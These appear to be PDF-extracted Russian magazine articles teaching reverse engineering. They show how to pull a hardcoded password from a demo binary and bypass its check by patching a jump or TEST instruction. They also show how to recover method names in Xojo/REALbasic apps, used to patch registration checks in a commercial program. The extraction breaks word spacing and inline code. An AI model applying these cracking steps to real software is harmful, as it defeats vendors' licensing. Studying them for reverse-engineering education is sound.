зиро ван ные дан ные сек цию —  (ключ ) в «сыром» виде
(ключ ), ука зав зна чок > для перенап равле ния вывода в файл

(ответ прог раммы занима ет мно го мес та, и на экра не помеща ется один лишь
«хвост»).

rdata /SECTION:.rdata
/RAWDATA:BYTES

dumpbin /RAWDATA:BYTES /SECTION:.rdata passCompare1.exe > rdata.
txt

0000000140002240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  ................
0000000140002250: 40 40 00 40 01 00 00 00 E0 40 00 40 01 00 00 
00  @@.@....□@.@....
0000000140002260: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 
FF □□□□□□□□□□□□□□□□
0000000140002270: 45 6E 74 65 72 20 70 61 73 73 77 6F 72 64 3A 00 
Enter password:.

0000000140002280: 6D 79 47 4F 4F 44 70 61 73 73 77 6F 72 64 0A 00 
myGOODpassword..

0000000140002290: 57 72 6F 6E 67 20 70 61 73 73 77 6F 72 64 0A 00 
Wrong password..

00000001400022A0: 50 61 73 73 77 6F 72 64 20 4F 4B 0A 00 00 00 00 
Password OK.....

00000001400022B0: 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  @...............
00000001400022C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  ................

Сре ди все го про чего тут есть одна стро ка, до боли похожая на эта лон ный
пароль. Испы таем ее? Впро чем, какой смысл — судя по исходно му тек сту
прог раммы, это дей стви тель но иско мый пароль, откры вающий защиту, слов но
золотой клю чик. Слиш ком уж вид ное мес то выб рал ком пилятор для его хра -
нения — пароль не мешало бы зап рятать и получ ше.

Один из спо собов сде лать это — насиль но помес тить эта лон ный пароль
в собс твен норуч но выб ранную нами сек цию. Такая воз можность не пре дус -
мотре на стан дартом, и потому каж дый раз работ чик ком пилято ра (стро го
говоря, не ком пилято ра, а лин кера, но это не суть важ но) волен реали зовы вать
ее по-сво ему или не реали зовы вать вооб ще. В Microsoft Visual C++ для этой
цели пре дус мотре на спе циаль ная праг ма , ука зыва ющая, в какую
сек цию помещать сле дующие за ней ини циали зиро ван ные перемен ные.
Неини циали зиро ван ные перемен ные по умол чанию рас полага ются в сек ции 

 и управля ются праг мой  соот ветс твен но.

data_seg

.
bss bss_seg

В при мере аутен тифика ции выше перед фун кци ей  добавим новую

сек цию, в которой будем хра нить наш пароль (для удобс тва я соз дал отдель -
ный про ект — ):

main

passCompare2

// С этого момента все инициализированные
// переменные будут размещаться в секции .kpnc
#pragma data_seg(".kpnc")
#define PASSWORD_SIZE 100
#define PASSWORD "myGOODpassword\n"

   char passwd[] = PASSWORD;
#pragma data_seg()

Внут ри фун кции  про ини циали зиру ем мас сив:main

// Теперь все инициализированные переменные
// вновь будут размещаться в секции по умолчанию,
// т. е. .rdata

 char buff[PASSWORD_SIZE]="";

Нем ного изме нилось усло вие срав нения строк в цик ле:

 if (strcmp(&buff[0],&passwd[0]))

Нат равим ути литу dumpbin на новый исполня емый файл:

dumpbin /RAWDATA:BYTES /SECTION:.rdata passCompare2.exe > rdata.
txt

0000000140002230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  ................
0000000140002240: 40 30 00 40 01 00 00 00 E0 30 00 40 01 00 00 
00  @0.@....□0.@....
0000000140002250: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 
FF  □□□□□□□□□□□□□□□□
0000000140002260: 45 6E 74 65 72 20 70 61 73 73 77 6F 72 64 3A 00 
Enter password:.

0000000140002270: 57 72 6F 6E 67 20 70 61 73 73 77 6F 72 64 0A 00 
Wrong password..

0000000140002280: 50 61 73 73 77 6F 72 64 20 4F 4B 0A 00 00 00 00 
Password OK.....

0000000140002290: 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  @...............
00000001400022A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00  ................

Ага, теперь в сек ции дан ных пароля нет и хакеры «отды хают»! Но не спе ши
с вывода ми. Давай сна чала выведем на экран спи сок всех сек ций, име ющих ся
в фай ле:

dumpbin passCompare2.exe

Summary
 1000 .data
 1000 .kpnc
 1000 .pdata
 1000 .reloc
 1000 .rsrc
 1000 .text

Нес тандар тная сек ция  сра зу же при ковы вает к себе вни мание. А ну-ка

пос мотрим, что там в ней.

.kpnc

dumpbin /SECTION:.kpnc /RAWDATA passCompare2.exe

RAW DATA #5
0000000140005000: 6D 79 47 4F 4F 44 70 61 73 73 77 6F 72 64 0A 00 
myGOODpassword..

Вот он, пароль! Спря тали, называ ется... Мож но, конеч но, извра тить ся
и засунуть сек ретные дан ные в сек цию неини циали зиро ван ных дан ных ( )
или даже сек цию кода ( ) — не все там догада ются поис кать, а работос -

пособ ность прог раммы такое раз мещение не нарушит. Но не сто ит забывать
о воз можнос ти авто мати зиро ван ного поис ка тек сто вых строк в дво ичном фай -
ле. В какой бы сек ции ни содер жался эта лон ный пароль, филь тр без тру да его
най дет (единс твен ная проб лема — опре делить, какая из мно жес тва тек сто вых
строк пред став ляет собой иско мый ключ; воз можно, пот ребу ется переб рать
с десяток-дру гой потен циаль ных кан дидатов).

.bss
.text

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
УЧИМСЯ АНАЛИЗИРОВАТЬ ПРОГРАММЫ ДЛЯ

X86-64
С НУЛЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ØÀÃ ÂÒÎÐÎÉ. ÇÍÀÊÎÌÑÒÂÎ Ñ ÄÈÇÀÑÑÅÌÁËÅÐÎÌ

Па роль мы узна ли. Но как же уто митель но вво дить его каж дый раз с кла виату -
ры перед запус ком прог раммы! Хорошо бы ее хак нуть так, что бы никакой
пароль вооб ще не зап рашивал ся или любой вве ден ный пароль прог рамма вос -
при нима ла как пра виль ный.

Хак нуть, говори те?! Что ж, это нес ложно! Куда проб лематич нее опре -
делить ся, чем имен но ее хакать. Инс тру мен тарий хакеров чрез вычай но раз -
нооб разен, чего тут толь ко нет: и дизас сем бле ры, и отладчи ки, и API-,
и message-шпи оны, и монито ры обра щений к фай лам (пор там, реес тру), и рас -
паков щики исполня емых фай лов, и... Слож новато начина юще му кодоко пате лю
со всем этим хозяй ством разоб рать ся!

Впро чем, шпи оны, монито ры, рас паков щики — вто рос тепен ные ути литы
зад него пла на, а основное ору жие взлом щика — отладчик (динами чес кий
дизас сем блер) и дизас сем блер (ста тичес кий).

Итак, дизас сем блер при меним для иссле дова ния откомпи лиро ван ных
прог рамм и час тично при годен для ана лиза псев доком пилиро ван ного кода.
Раз так, он дол жен подой ти для вскры тия пароль ной защиты
passCompare1.exe. Весь воп рос в том, какой дизас сем блер выб рать.

Не все дизас сем бле ры оди нако вы. Есть сре ди них и «интеллек туалы», авто -
мати чес ки рас позна ющие мно гие конс трук ции, как то: про логи и эпи логи фун -
кций, локаль ные перемен ные, перек рес тные ссыл ки и т. д., а есть и «прос -
таки», чьи спо соб ности огра ниче ны одним лишь перево дом машин ных команд
в ассем блер ные инс трук ции.

Ло гич нее все го вос поль зовать ся услу гами дизас сем бле ра-интеллек туала
(если он есть), но... давай не будем спе шить, а поп робу ем выпол нить весь
ана лиз вруч ную. Тех ника, понят ное дело, шту ка хорошая, да вот не всег да она
ока зыва ется под рукой, и неп лохо бы заранее научить ся работе в полевых
усло виях. К тому же обще ние с пло хим дизас сем бле ром как нель зя луч ше под -
черки вает «вкус ности» хороше го.

Вос поль зуем ся уже зна комой нам ути литой dumpbin, нас тоящим «швей цар -
ским ножиком» со мно жес твом полез ных фун кций, сре ди которых при таил ся
и дизас сем блер. Дизас сем бли руем сек цию кода (как мы пом ним, носящую
имя ), перенап равив вывод в файл, так как на экран он, оче вид но,
не помес тится:

.text

dumpbin /SECTION:.text /DISASM passCompare1.exe > code-text.txt

Заг лянем еще раз в сек цию дан ных (или в дру гую — в зависи мос ти от того, где
хра нит ся пароль).

За пом ним най ден ный пароль: . В зависи мос ти от вер сии

и нас тро ек дизас сем бле ра dumpbin ини циали зиро ван ные перемен ные,
к которым обра щает ся код, могут быть пред став лены по-раз ному: на их мес те
могут быть или сим воль ные кон стан ты, или непос редс твен но шес тнад цатерич -
ное сме щение. Поп робу ем най ти выяв ленный ранее пароль в дизас сем бли -
рован ном лис тинге три виаль ным кон текс тным поис ком с помощью любого
тек сто вого редак тора.

myGOODpassword

00000001400010B2: 48 8D 15 C7 11 00  lea         rdx, [??_C@_
0BA@PCMCJPMK@myGOODpassword?6@]
                   00

00000001400010B9: 48 8D 4C 24 20     lea         rcx,[rsp+20h]
00000001400010BE: E8 8C 0D 00 00     call        strcmp
00000001400010C3: 85 C0              test        eax,eax
00000001400010C5: 74 58              je          000000014000111F

Есть сов падение! Цен траль ная часть это го лис тинга — вызов фун кции .

В качес тве парамет ров ей переда ются две стро ки, раз мещен ные в регис трах
 и . Как мы видим, в пер вой стро ке лис тинга в  помеща ется эта лон -

ный пароль, а во вто рой стро ке в регистр  копиру ется зна чение из локаль -

ной перемен ной — оче вид но, стро ка, вве ден ная поль зовате лем.

strcmp

RCX RDX RDX
RCX

В резуль тате выпол нения, если стро ки рав ны, фун кция  воз вра -

щает 0 в регис тре  или , как в дан ном слу чае. Если же стро ки раз лича -

ются, воз вра щает ся зна чение, отли чающееся от нуля.

strcmp
RAX EAX

В сле дующей стро ке лис тинга инс трук ция  про веря ет зна чение

в регис тре  на равенс тво нулю. Если ответ положи тель ный, что может про -

изой ти, толь ко ког да стро ки оди нако вые, флаг  уста нав лива ется в еди ницу.

test
EAX

ZF
Сле дующая инс трук ция  осу щест вля ет переход по ука зан ному адре су

толь ко в том слу чае, ког да флаг  равен еди нице. Пос мотрим, на какой код

ука зыва ет этот адрес:

JE
ZF

000000014000111F: 48 8D 0D 7A 11 00  lea         rcx, [??_C@_
0N@MBEFNJID@Password?5OK?6@]
                   00

0000000140001126: E8 E5 FE FF FF     call        printf

Это код вывода стро ки . В регистр  помеща ется ука зан ная

стро ка, затем зна чение это го регис тра переда ется фун кции , которая
выводит передан ную стро ку на экран. Из это го сле дует, что перед нами валид -
ная ветвь прог раммы.

Password OK RCX
printf

Рас смот рим обратный исход, ког да стро ки раз лича ются,  воз вра -
щает ненуле вое зна чение, флаг  оста ется сбро шен ным (рав ным нулю)

и переход не осу щест вля ется. Тог да мы про вали ваем ся в такой код:

strcmp
ZF

00000001400010C7: 66 0F 1F 84 00 00  nop         word 
ptr [rax+rax]
                   00 00 00

00000001400010D0: 48 8D 0D B9 11 00  lea         rcx, [??_C@_
0BA@EHHIHKNJ@Wrong?5password?6@]
                   00

00000001400010D7: E8 34 FF FF FF     call        printf

Он выводит стро ку о неп равиль ном пароле — тоже с помощью фун кции
, в парамет ре при нима ющей стро ку для отоб ражения.printf

Опе ратив ные сооб ражения сле дующие: если коман ду  заменить , то

прог рамма отвер гнет истинный пароль как неп равиль ный, а любой неп равиль -
ный пароль вос при мет как истинный. А если  заменить 

, то пос ле исполне ния этой коман ды регистр  будет всег да равен нулю,

какой бы пароль ни вво дил ся.

JE JNE

TEST EAX,EAX XOR EAX,
EAX EAX

Де ло за малым — най ти эти самые бай тики в исполня емом фай ле
и малость под пра вить их.

ÕÈÐÓÐÃÈ×ÅÑÊÎÅ ÂÌÅØÀÒÅËÜÑÒÂÎ

Как мы обсужда ли выше, вне сение изме нений непос редс твен но в исполня -
емый файл — дело серь езное. Стис нутым сущес тву ющим кодом, нам при -
ходит ся доволь ство вать ся толь ко тем, что есть, и ни раз дви нуть коман ды,
ни даже сдви нуть их, выкинув из защиты «лиш ние зап части», не получит ся.
Ведь это при вело бы к сдви гу сме щений всех осталь ных команд, тог да как зна -
чения ука зате лей и адре сов перехо дов оста лись бы без изме нений и ста ли бы
ука зывать сов сем не туда, куда нуж но!

Ну, с «выкиды вани ем зап частей» спра вить ся как раз таки прос то — дос -
таточ но забить код коман дами NOP (опкод которой 0x90, а вов се не 0x0,
как почему-то дума ют мно гие начина ющие кодоко пате ли), т. е. пус той опе -
раци ей (вооб ще-то NOP — это прос то дру гая фор ма записи инс трук ции 

, если инте рес но). С «раз движ кой» куда слож нее! К счастью, в PE-фай -

лах всег да при сутс тву ет мно жес тво «дыр», оставших ся от вырав нивания,
в них-то и мож но раз местить свой код или свои дан ные.

XCHG
EAX,EAX

Но не про ще ли прос то откомпи лиро вать ассем бли рован ный файл, пред -
варитель но вне ся в него тре буемые изме нения? Нет, не про ще, и вот почему:
если ассем блер не рас позна ет ука зате ли, переда ваемые фун кции (а как мы
видели, наш дизас сем блер не смог отли чить их от кон стант), он, соот ветс твен -
но, не позабо тит ся дол жным обра зом их скор ректи ровать, и, естес твен но,
прог рамма работать не будет.

При ходит ся резать прог рамму вжи вую. Лег че все го это делать с помощью
ути литы HIEW, которая «перева рива ет» PE-фор мат фай лов и упро щает тем
самым поиск нуж ного фраг мента. Обра ти вни мание, так как мы работа ем
в 64-бит ной сре де, подой дет толь ко одна из новых вер сий прог раммы с под -
дер жкой фай лов PE32+. Нап ример, я исполь зую вер сию 8.67, прек расно ужи -
вающуюся с Windows 10. Запус тим ее, ука зав имя фай ла в коман дной стро ке
( ), двой ным нажати ем кла виши Enter, перек лючим -

ся в режим ассем бле ра и при помощи кла виши F5 перей дем к тре буемо му
адре су. Как мы пом ним, коман да TEST, про веря ющая резуль тат на равенс тво
нулю, рас полага лась по адре су 0x1400010C3.

hiew32 passCompare1.exe

Что бы HIEW мог отли чить адрес от сме щения в самом фай ле, пред варим
его сим волом точ ки: ..1400010C3

00000001400010C3: 85 C0              test        eax,eax
00000001400010C5: 74 58              je          000000014000111F

Ага, как раз то, что нам надо! Наж мем кла вишу F3 для перево да HIEW в режим
прав ки, под ведем кур сор к коман де TEST EAX, EAX и, нажав кла вишу Enter,
заменим ее коман дой .XOR EAX,EAX

00000001400010C3: 31 C0              xor         eax,eax
00000001400010C5: 74 58              je          000000014000111F

HIEW в режиме прав ки ассем блер ной коман ды

С удов летво рени ем заметив, что новая коман да в акку рат впи салась в пре -
дыду щую, наж мем кла вишу F9 для сох ранения изме нений на дис ке, а затем
вый дем из HIEW и поп робу ем запус тить прог рамму, вво дя пер вый при шед ший
на ум пароль:

>passCompare1
Enter password:Привет, шляпа!
Password OK

По лучи лось! Защита пала! Хорошо, а как бы мы дей ство вали, если бы у нас
не было HIEW? Тог да, воору жив шись каким-нибудь шес тнад цатерич ным
редак тором (нап ример, HxD), приш лось бы при бег нуть к кон текс тно му поис ку.

Заг рузим подопыт ный файл в редак тор. Конеч но, если пытать ся най ти пос -
ледова тель ность  — код коман ды , ничего хороше го

из это го не вый дет — этих самых «тес тов» в прог рамме может быть нес коль ко
сотен, а то и боль ше. А вот адрес перехо да, ско рее все го, во всех вет ках прог -
раммы раз личен, и подс тро ка  име ет

хорошие шан сы на уни каль ность. Поп робу ем най ти в фай ле соот ветс тву ющий
ей код: . В HxD для это го надо нажать Ctrl-F, что бы открыть окно
поис ка, затем перей ти на вклад ку «Hex-зна чения» и искать уже отсю да.

85 C0 TEST EAX, EAX

TEST EAX,EAX/je 000000014000111F

85 C0 74 58

Оп-с! Най дено толь ко одно вхож дение, что нам, собс твен но, и нуж но.
Давай теперь поп робу ем модифи циро вать файл непос редс твен но в HEX-
режиме, не перехо дя в ассем блер. Возь мем себе на замет ку: инверсия млад -
шего бита кода коман ды при водит к изме нению усло вия перехо да на про тиво -
полож ное, т. е.  → . Под веди кур сор к зна чению  и вве ди .

Зна чение будет выделе но крас ным. Далее надо сох ранить резуль тат работы.
Готово!

74 JE 75 JNE 74 75

Прав ка шес тнад цатерич ного кода с помощью HxD

Взло ман ная прог рамма при нима ет любые пароли

Ра бота ет? В смыс ле защита свих нулась окон чатель но — не приз нает истинные
пароли, зато радос тно при ветс тву ет осталь ные. Замеча тель но!



РЕВЕРСИМ ПРИЛОЖЕНИЕ
НА REALBASIC

МВК

ВЗЛОМ

Пом нишь, как на школь ных уро ках
информа тики тебя зас тавля ли изу чать
Basic? Так вот: это был ненас тоящий Basic.
А нас тоящий, то есть REALbasic, теперь
называ ется  Xojo, и на нем до сих пор
пишут при ложе ния. Сегод ня я рас ска жу
тебе, как они устро ены изнутри и как их
мож но взло мать.

Mojo

Час то ревер сить прог рам мный про дукт слож но не потому, что его код запутан
или на него навеси ли какую-то осо бен ную защиту, а потому, что раз работ чики
исполь зовали ред кий и малорас простра нен ный фрей мворк. Сегод ня в нашем
меню — экзо тичес кая сре да раз работ ки под наз вани ем .REALbasic (Xojo)

Это один из пионе ров кросс-плат формен ного прог рамми рова ния.
REALbasic неод нократ но менял наз вание, архи тек туру и хозя ев и в пос леднее
вре мя серь езно рас терял как свои рыноч ные позиции, так и акту аль ность.
Написан ные на нем при ложе ния встре чают ся все реже и реже, в основном
в таких узкоспе циали зиро ван ных областях, как колори мет рия. Из-за малой рас -
простра нен ности для него, в отли чие от извес тных сред раз работ ки (вро де
Delphi, .NET или VBS), прак тичес ки отсутс тву ют спе циали зиро ван ные инс тру -
мен ты для ревер са. Поэто му мы, как обыч но, на при мере кон крет ных при ложе -
ний раз берем прин ципы и лай фха ки для изу чения кода таких при ложе ний.

Нач нем с самого прос того слу чая. Как ни стран но, лег че все го иссле довать
при ложе ние, соз данное в сов ремен ных акту аль ных вер сиях Xojo (да-да, он
мало того что еще под держи вает ся, вдо бавок стал 64-бит ным, 
врет).

Ви кипе дия

Итак, нам попалось гра фичес кое при ложе ние, при ана лизе которо го наш
безот казный Detect It Easy (DIE) утвер жда ет, что это Xojo (x64).

Нам понадо бит ся самая малость: вклю чить фун кции при ложе ния, которые
отка зыва ются работать в незаре гис три рован ной вер сии, выдавая вмес то это го
окош ки с тре бова нием регис тра ции. Заг рузив прог рамму в отладчик x64dbg
и при тор мозив ее в этом мес те, мы с облегче нием замеча ем, что прог рамма
не зашиф рована, не упа кова на и лишена средств анти отладки. Она даже сооб -
щение выда ет стан дар тным , при этом прог рамма прек расно
дизас сем бли рует ся при помощи IDA. Получен ный код, прав да, как и сле дова ло
ожи дать от кросс-плат формен ного бей сика, чудовищ но неук люж и сло жен
для понима ния.

MessageBoxA

Хо чет ся как-то облегчить себе жизнь, хотя бы вос ста новив име на вызыва емых
методов. Наш пре дыду щий опыт работы со ском пилиро ван ным кодом, изна -
чаль но пред назна чен ным под интер пре татор, под ска зыва ет, что эта информа -
ция где-то обя затель но дол жна хра нить ся. Прос мотрев в IDA все ссыл ки
на про цеду ру, из которой была выз вана ошиб ка демовер сии, находим инте -
рес ную конс трук цию:

...

.text:0000000141A85CF5  mov  edx, 0F40h

.text:0000000141A85CFA  xor  r8d, r8d

.text:0000000141A85CFD  lea  rcx, sub_140D7D410

.text:0000000141A85D04  lea  r9, aOBevelbutton_64 ; "%%o<
BevelButton>" — похоже на класс нашего метода
.text:0000000141A85D0B  lea  r10, aBvlmeaschartAc_0 ; 
"BvlMeasChart_Action" — похоже на его имя
.text:0000000141A85D12  lea  r11, sub_
141A91350     ; Адрес нашего метода
.text:0000000141A85D19  mov  [rbp+8F0h+var_438], rax
.text:0000000141A85D20  mov  [rbp+8F0h+var_60], r11
.text:0000000141A85D27  mov  rax, [rbp+8F0h+var_8E0]
.text:0000000141A85D2B  mov  [rax+0F68h], r11
.text:0000000141A85D32  mov  r11, [rbp+8F0h+var_68]
.text:0000000141A85D39  mov  [r11+0F40h], r10
.text:0000000141A85D40  mov  r10, [rbp+8F0h+var_68]
.text:0000000141A85D47  mov  [r10+0F60h], r9
.text:0000000141A85D4E  mov  [rbp+8F0h+var_440], rcx
.text:0000000141A85D55  mov  r9, [rbp+8F0h+var_68]
.text:0000000141A85D5C  mov  [r9+0F70h], rcx
.text:0000000141A85D63  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85D6A  mov  dword ptr [rcx+0F78h], 39h ; '9'
.text:0000000141A85D74  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85D7B  mov  dword ptr [rcx+0F48h], 101h
.text:0000000141A85D85  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85D8C  mov  [rbp+8F0h+var_8E8], rcx
.text:0000000141A85D90  call RuntimeAllocateAttributeTable
...

Бег ло прос мотрев код, обна ружи ваем великое мно жес тво подоб ных конс трук -
ций по все му дизас сем бли рован ному при ложе нию. Оче вид но, что это ини -
циали зация каких-то внут ренних REALbasic-овских таб лиц методов. Веро ятнее
все го, за это ответс твен на фун кция 

из модуля , вызыва ет сом нение толь ко спо соб

переда чи парамет ров. Вро де как стро ки и адре са перед вызовом
 записы вают ся в стек, одна ко не в область

парамет ров, а в область локаль ных перемен ных, при чем по совер шенно раз -
ным адре сам. Поп робу ем про ана лизи ровать еще пару подоб ных конс трук ций:

RuntimeAllocateAttributeTable
XojoGUIFramework64.dll

RuntimeAllocateAttributeTable

.text:0000000141A85D95  mov  edx, 0F80h             <-- Обрати 
внимание, что число в edx 0F80h
.text:0000000141A85D9A  xor  r8d, r8d
.text:0000000141A85D9D  lea  rcx, sub_140D7D410
.text:0000000141A85DA4  lea  r9, aOBevelbutton_65 ; "%%o<
BevelButton>"
.text:0000000141A85DAB  lea  r10, aBvldefchartAct ; "BvlDefChart_
Action"
.text:0000000141A85DB2  lea  r11, sub_141A95B20
.text:0000000141A85DB9  mov  [rbp+8F0h+var_448], rax
.text:0000000141A85DC0  mov  [rbp+8F0h+var_60], r11
.text:0000000141A85DC7  mov  rax, [rbp+8F0h+var_8E8]
.text:0000000141A85DCB  mov  [rax+0FA8h], r11
.text:0000000141A85DD2  mov  r11, [rbp+8F0h+var_68]
.text:0000000141A85DD9  mov  [r11+0F80h], 
r10       <-- Везде эквивалентно смещению, по которому сохраняется 
адрес строки имени метода
.text:0000000141A85DE0  mov  r10, [rbp+8F0h+var_68]
.text:0000000141A85DE7  mov  [r10+0FA0h], r9
.text:0000000141A85DEE  mov  [rbp+8F0h+var_450], rcx
.text:0000000141A85DF5  mov  r9, [rbp+8F0h+var_68]
.text:0000000141A85DFC  mov  [r9+0FB0h], rcx
.text:0000000141A85E03  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85E0A  mov  dword ptr [rcx+0FB8h], 3Ah ; ':'
.text:0000000141A85E14  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85E1B  mov  dword ptr [rcx+0F88h], 101h
.text:0000000141A85E25  mov  rcx, [rbp+8F0h+var_68]
.text:0000000141A85E2C  mov  [rbp+8F0h+var_8F0], rcx <-- 
Относительно адреса в RCX
.text:0000000141A85E30  call RuntimeAllocateAttributeTable

Вот еще один при мер. Отно ситель ные сме щения меж ду адре сом метода (1),
име нем метода (2) и име нем клас са (3) в каж дой конс трук ции оди нако вы.

.text:00141A85E35  mov  edx, 0FC0h

.text:00141A85E3A  xor  r8d, r8d

.text:00141A85E3D  lea  rcx, sub_140D7D410

.text:00141A85E44  lea  r9, aOBevelbutton_66 ; "%%o<BevelButton>"

.text:00141A85E4B  lea  r10, aBvlgraph2dActi_0 ; "BvlGraph2D_
Action"
.text:00141A85E52  lea  r11, sub_141A95D70
.text:00141A85E59  mov  [rbp+8F0h+var_458], rax
.text:00141A85E60  mov  [rbp+8F0h+var_60], r11
.text:00141A85E67  mov  rax, [rbp+8F0h+var_8F0]
.text:00141A85E6B  mov  [rax+0FE8h], r11       <-- (1)
.text:00141A85E72  mov  r11, [rbp+8F0h+var_68]
.text:00141A85E79  mov  [r11+0FC0h], r10       <-- (2)
.text:00141A85E80  mov  r10, [rbp+8F0h+var_68]
.text:00141A85E87  mov  [r10+0FE0h], r9        <-- (3)
.text:00141A85E8E  mov  [rbp+8F0h+var_460], rcx
.text:00141A85E95  mov  r9, [rbp+8F0h+var_68]
.text:00141A85E9C  mov  [r9+0FF0h], rcx
.text:00141A85EA3  mov  rcx, [rbp+8F0h+var_68]
.text:00141A85EAA  mov  dword ptr [rcx+0FF8h], 3Bh ; ';'
.text:00141A85EB4  mov  rcx, [rbp+8F0h+var_68]
.text:00141A85EBB  mov  dword ptr [rcx+0FC8h], 101h
.text:00141A85EC5  mov  rcx, [rbp+8F0h+var_68]
.text:00141A85ECC  mov  [rbp+8F0h+var_8F8], rcx
.text:00141A85ED0  call RuntimeAllocateAttributeTable

Нем ного порас кинув моз гами, мы при ходим к выводу, что на вхо де
в  в регис тре  находит ся ука затель

на некую таб лицу, каж дый эле мент которой занима ет  байт и име ет при -

мер но сле дующую струк туру:

RuntimeAllocateAttributeTable RCX
0x40

DQ MethodName       ;RCX[RDX+0]
DQ ?
DQ ?
DQ ?
DQ ?
DQ ?
DQ ?
DQ ?
DQ ClassName         ;RCX[RDX+20h]
DQ MethodAddress     ;RCX[RDX+28h]
DQ ?
DQ ?
DQ ?
DQ ?
DQ ?
DQ ?

А в регис тре  хра нит ся отно ситель ное сме щение на текущий эле мент дан -
ной таб лицы в бай тах. В прин ципе, поковы ряв шись в коде и отладчи ке,
при желании мож но рас копать сак раль ный смысл и осталь ных полей этой таб -
лицы, но мы не будем отвле кать ся: получен ной информа ции нам уже поч ти
дос таточ но для даль нейше го иссле дова ния струк туры кода.

RDX

Итак, ста вим условную точ ку оста нова на фун кцию
 со сле дующим тек стом жур нала:RuntimeAllocateAttributeTable

ClassName: {s:[rcx+rdx+0x20]} MethodName: {s:[rcx+rdx]}
Address: {[rcx+rdx+0x28]} called at {[rsp]}

Пос ледний параметр, адрес вызова, нам необ ходим на вся кий слу чай, что -
бы отсле дить мес то, в котором что-то пош ло не так при вызове. Перезаг ружа -
ем прог рамму и — бин го! — в жур нале x64dbg видим не иде аль ный, но отно -
ситель но вме няемый спи сок имен методов с адре сами:

...
ClassName: "%%sp" MethodName: "_AddMenuHandler"  Address: 
140296DF0 called at 141A84A96
ClassName: "%o<Object>%s" MethodName: "_ControlByName"  Address: 
140296E70 called at 141A84B3C
ClassName: "%o<Object>%si8" MethodName: "_ControlByNameIndex"  
Address: 140296F60 called at 141A84BE2
ClassName: "%%" MethodName: "_DependencyList"  Address: 140297050 
called at 141A84C88
ClassName: "%o<Object>%s" MethodName: "_GetControl"  Address: 
140296E70 called at 141A84D1D
ClassName: "%o<Object>%si8" MethodName: "_GetControlArray"  
Address: 140296F60 called at 141A84DB2
ClassName: "%%i8i8i8i8" MethodName: "_Move"  Address: 1402970F0 
called at 141A84E58
ClassName: "%%" MethodName: "__Exit"  Address: 140297180 called 
at 141A84EED
ClassName: "%%" MethodName: "__Init"  Address: 1402971D0 called 
at 141A84F82
ClassName: "%o<Object>%p" MethodName: "__New"  Address: 140297240 
called at 141A85028
ClassName: "%%" MethodName: "Layout"  Address: 141A86480 called 
at 141A850CE
ClassName: "%%" MethodName: "CreateControls"  Address: 140775830 
called at 141A85174
ClassName: "%%" MethodName: "_CreateControls0"  Address: 
141A86530 called at 141A85216
ClassName: "%o<BevelButton>%" MethodName: "BvlPaper"  Address: 
141A8A830 called at 141A852E6
ClassName: "%o<BevelButton>%" MethodName: "BvlMetamerism"  
Address: 141A8A9F0 called at 141A8538C
ClassName: "%o<BevelButton>%" MethodName: "BvlGamut"  Address: 
141A8ABB0 called at 141A85432
ClassName: "%o<BevelButton>%" MethodName: "BvlMeasSpec"  Address: 
141A8AD70 called at 141A854D5
ClassName: "%o<BevelButton>%" MethodName: "BvlMeasChart"  Address:
141A8AF30 called at 141A85575

ClassName: "%o<BevelButton>%" MethodName: "BvlDefChart"  Address: 
141A8B0F0 called at 141A85615
ClassName: "%o<BevelButton>%" MethodName: "BvlGraph2D"  Address: 
141A8B2B0 called at 141A856B5
ClassName: "%o<BevelButton>%" MethodName: "BvlLight"  Address: 
141A8B470 called at 141A85755
ClassName: "%o<BevelButton>%" MethodName: "BvlCalculate"  Address:
141A8B630 called at 141A857F5

ClassName: "%o<BevelButton>%" MethodName: "BvlDifference"  
Address: 141A8B7F0 called at 141A85895
ClassName: "%o<BevelButton>%" MethodName: "BvlSearch"  Address: 
141A8B9B0 called at 141A85935
ClassName: "%o<BevelButton>%" MethodName: "BvlMakeLightSource"  
Address: 141A8BB70 called at 141A859D5
ClassName: "%o<BevelButton>%" MethodName: "BvlMakeChartImage"  
Address: 141A8BD30 called at 141A85A75
...

К сожале нию, суть это го метода сос тоит в том, что он чис то динами чес кий, то
есть нель зя получить спи сок имен прос то из дизас сем бле ра, не запус тив прог -
рамму. Но если тебя вдруг нас тигнет прис туп пер фекци ониз ма, мож но прос то
рас парсить этот спи сок и скрип том рас ста вить в IDA или x64dbg мет ки с име -
нами методов по нуж ным адре сам.

Нам же неког да отвле кать ся на подоб ные мелочи. Пока впол не дос таточ но
того, что при заходе в каж дую про цеду ру, которую IDA не детек тит как стан дар -
тную бей сиков скую, мы можем най ти ее имя по адре су в получен ном спис ке.
Если, конеч но, она там вооб ще находит ся. В любом слу чае у нас уже есть неп -
лохой инс тру мент, бла года ря которо му за десять минут работы с отладчи ком
и IDA мы обна ружи ваем и пат чим все про вер ки на жад ность в прог рам мном
модуле и готовы про дол жать даль нейшее зна комс тво с осо бен ностя ми Xojo.

Что бы нем ного усложнить себе жизнь, рас смот рим чуть более ста рый, 32-
бит ный вари ант REALbasic. Итак, у нас есть дру гая прог рамма, заг рузка
которой в DIE показы вает сле дующее окош ко.

Ка залось бы, 32-бит ная вер сия Xojo дол жна быть про ще, ан нет. Заг рузив при -
ложе ние в IDA, мы с удив лени ем обна ружи ваем прак тичес ки пол ное отсутс твие
кода и импорта при вну шитель ном раз мере EXE-модуля.

Раз гадка прос та: прак тичес ки весь EXE-модуль сос тоит из огромно го овер лея,
который под гру жает ся на про изволь ные адре са во вре мя заг рузки прог раммы.
А зна чит, даже дам пить для изу чения уже заг ружен ный модуль осо бого смыс ла
нет, хотя сама прог рамма не меша ет ни отладке, ни дам пу. Погуг лив, обна -
ружи ваем, что более ста рую вер сию нашего фрей мвор ка 
и даже запилил на ее осно ве , который пар сит
овер лей.

